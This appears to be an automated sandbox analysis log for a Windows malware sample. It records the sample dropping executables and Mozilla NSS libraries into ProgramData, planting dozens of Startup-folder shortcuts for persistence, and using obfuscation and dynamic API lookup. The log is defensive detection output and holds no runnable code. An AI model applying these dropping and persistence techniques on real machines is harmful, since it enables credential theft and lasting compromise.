Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\timeout.exe Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk.6.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f479cc4b7b934621b114e9851cf7f7da.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_96f1135cc3e9458bac1a7b890b34d5dc.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0ff1f78d298144e6a12594af4c5a587d.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c9ea8d257d884379b631f2f19fd6cc78.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c31418e184c142fc9b2fe72f5bf988d2.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_79e1e46edc424547965f7e9b0b1629db.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_49f7c38a3dc947d78bcbf25b163a87d8.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f45234c5af6347b69fbda2eb06d34384.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fe6282a8eec14dfaac4524cf2669496f.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_51c497206cfe4b6a88cb446b5426700c.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_786c94951cdf441d9c85dcf28e6f3c76.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f26a8a2035854a5784cab9c0afb57268.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_26cb77f1a171417098d3a031bf651def.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8662b6207de64a5680650bd8ab121343.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_985396190fc648de8d75757c37e28b46.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_46690152aed24097b2a8d73b0c9fb17b.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e66d5af40411499abd6353af70bf0b52.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3f3f9ac6e3ab487097cc9adaef965328.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b27de76ace1c4257a2ce93218b3012c1.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f65d3bd057d041bda72c93045ac5b69e.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c889471adc3044cba2771738dc11bd54.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fff62a29b5b043a38c13ab03b7de322d.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_013ffea819fc488093d47d9790d75aaf.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6378efeee73e4662b1fe15e111d6943a.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_ce8ed0209632479a9250d4a86c2afdd2.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1f0852fa96024e14ad6549f37d2c17d2.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c65dfbcc6f644407af3230082d585b4d.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_08c9236b4ab1429e88c261c9f120271b.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c5b3908ee7e240a09481bea946407c6b.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_156f6c1646d74b83a60a72b2da68cefb.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3039dbe15e784bf4822f2683bdcef2ea.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6540affff38a422ea9c3f7dfa44daa45.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7b74a53932f841aeac139c8bb463a6e2.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b531fa8056124173a8b000f51dc8b32d.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_93a234a50f2b4992afefdc51f1dafe2b.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b2941dd6e76541968cf4b029eeb9bcc7.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_fc1da7d1c6a74761a4df00f0a60678cd.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1e87d1c6f4d246c1b33392c295ce841c.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_5c1d4789cb184dff809a6a949d62dbea.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_251e0feac337452ea9a3169ac053df76.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1d5498d13aca48509f25b0861cdf1bc9.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b0665480dd1448d6ae92f8d305245bbc.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_0023ffb71eba4e1cb3248efd79b484ea.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1c48adb6b07f46e989aadb091d958cd9.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_b66567f7a2dc4c5f9ec7bab8df53c2e7.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_59a1cababd08434283bbe01f6817b75e.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6fc910e111a642a9a0f17bb964eab590.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_17de32bcc23b4dcaa3a902bd1942a737.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_06e0ce16b560480792c95aa5a3e89526.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_6793b2a388e9442293095ba70f5c583b.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_8cd9a63d4f954de487775fe89542721c.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_802b6156de3f439c813ea4bf7dffba92.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_85d8a5f504824763b0a0c3b6cc4d10fb.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_87da777e0c084e298b02598b0ede0eac.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_387638beaa9e4d2492bd9c3e22b77280.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_555ff2d3ba2c4c7089ed884259a7192f.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_2dd3288fe7794fb086adda81182f90e3.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c62c32d63da94d74800bb8d867dc2cc3.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_f3408920b42d477d82a70823101ed2ee.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_60c356c487fa47da9f5a019a13016e95.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_dd4604b136a747629e27d3201ce0b0bc.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_4cb4d055ba10431681a85cd1553f5794.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_60e052ecdb7c4773b1227a0a98bff165.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_65ac9a878d964552aeb08efc909c80f0.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_305792d13f0e478db4e1573b21322d35.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_de9ac4a308614189a6b4bf032b336629.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_7fe6034bf64b40599010fd8a71a4097a.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_bd465e8b637d4cc79ac948b8ac6dd6a4.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_c669faa194c148adbd71d355ac4cf53c.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_97d77af1279b4a899fef3dd0f63a817e.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e2978ee49ccb4db19bf257228bb79a04.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_9099c16e1382467c811a672fc770752a.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_3387e19066864f919738274f26e2507f.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_665a7f1103ed406ca8444dcd1ae127b6.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_87e99d43bde5442eaf96c587a99faff0.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_1c1ad77e28df4c92ac4458387a7ebf7d.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_450bf0bac6be499eaaf0e4e92ff92060.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_a9fe575ce50040239577b1f27b3c59d1.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: MFDBG_e3535f3a13fe494bab7fc46edf2b3d27.lnk.7.dr LNK file: ..\..\..\..\..\..\Local\Temp\Malewmf\MFDBG.exe
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: System.Core.pdbP source: WER1AF4.tmp.dmp.19.dr
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: System.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: soft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3269805633.000000003A911000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3244466284.000000002EA31000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: mscorlib.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: \mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbL0 source: WER430E.tmp.dmp.23.dr
Source: Binary string: System.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3294025471.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source: Binary string: mscorlib.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: \System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.0000000000897000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb^ source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.00000000008D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.Core.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.pdb4 source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbp source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: orlib.pdbE source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: System.Core.pdbk source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: ws\mscorlib.pdb]q source: MFDBG.exe, 00000010.00000002.3333482247.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Binary contains a suspicious time stamp
Source: AFIDGDBGCA.exe.3.dr Static PE information: 0xF9147003 [Sun Jun 4 12:09:39 2102 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041891A GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 3_2_0041891A
PE file contains sections with non-standard names
Source: freebl3.dll.3.dr Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr Static PE information: section name: .didat
Source: softokn3.dll.3.dr Static PE information: section name: .00cfg
Source: nss3.dll.3.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0042F112 push ecx; ret 3_2_0042F125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00422D09 push esi; ret 3_2_00422D0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041DD85 push ecx; ret 3_2_0041DD98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00432715 push 0000004Ch; iretd 3_2_00432726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0CB536 push ecx; ret 3_2_6C0CB549
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E3528 push eax; ret 7_2_011E3562
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E3578 push eax; ret 7_2_011E3582
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E3568 push eax; ret 7_2_011E3572
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E3588 push eax; ret 7_2_011E3592
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Code function: 7_2_011E35B8 push eax; ret 7_2_011E3582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00440466 push ds; ret 15_2_00440468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00416D75 push ebx; ret 15_2_00416D77
Source: file.exe Static PE information: section name: .text entropy: 7.996138391086221
Source: BFIIEHJDBK.exe.3.dr Static PE information: section name: .text entropy: 7.995724440591308
Source: 66f4247d51812_lfdsjna[1].exe.3.dr Static PE information: section name: .text entropy: 7.995724440591308
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BFIIEHJDBK.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\AFIDGDBGCA.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\ProgramData\AFIDGDBGCA.exe File created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f4247d51812_lfdsjna[1].exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\BFIIEHJDBK.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\AFIDGDBGCA.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\ProgramData\AFIDGDBGCA.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk Jump to behavior
Stores files to the Windows start menu directory
Source: C:\ProgramData\AFIDGDBGCA.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20d84ac4d2b342b0aa531f776e52a3c4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b6682343f2ec4234b40dd8d996b47aba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_327b3ce9535747efb2a68d2d5427ac22.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e48f2b0ac2904a2cba40c95dc6d2c4ae.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e12e68f152b14eda9937bd048008c634.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57c3dc2d73c84c13a5091468821d8546.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d91f2c4dd7ae4b4ab0c4f9cb472863f9.lnk Jump to behavior
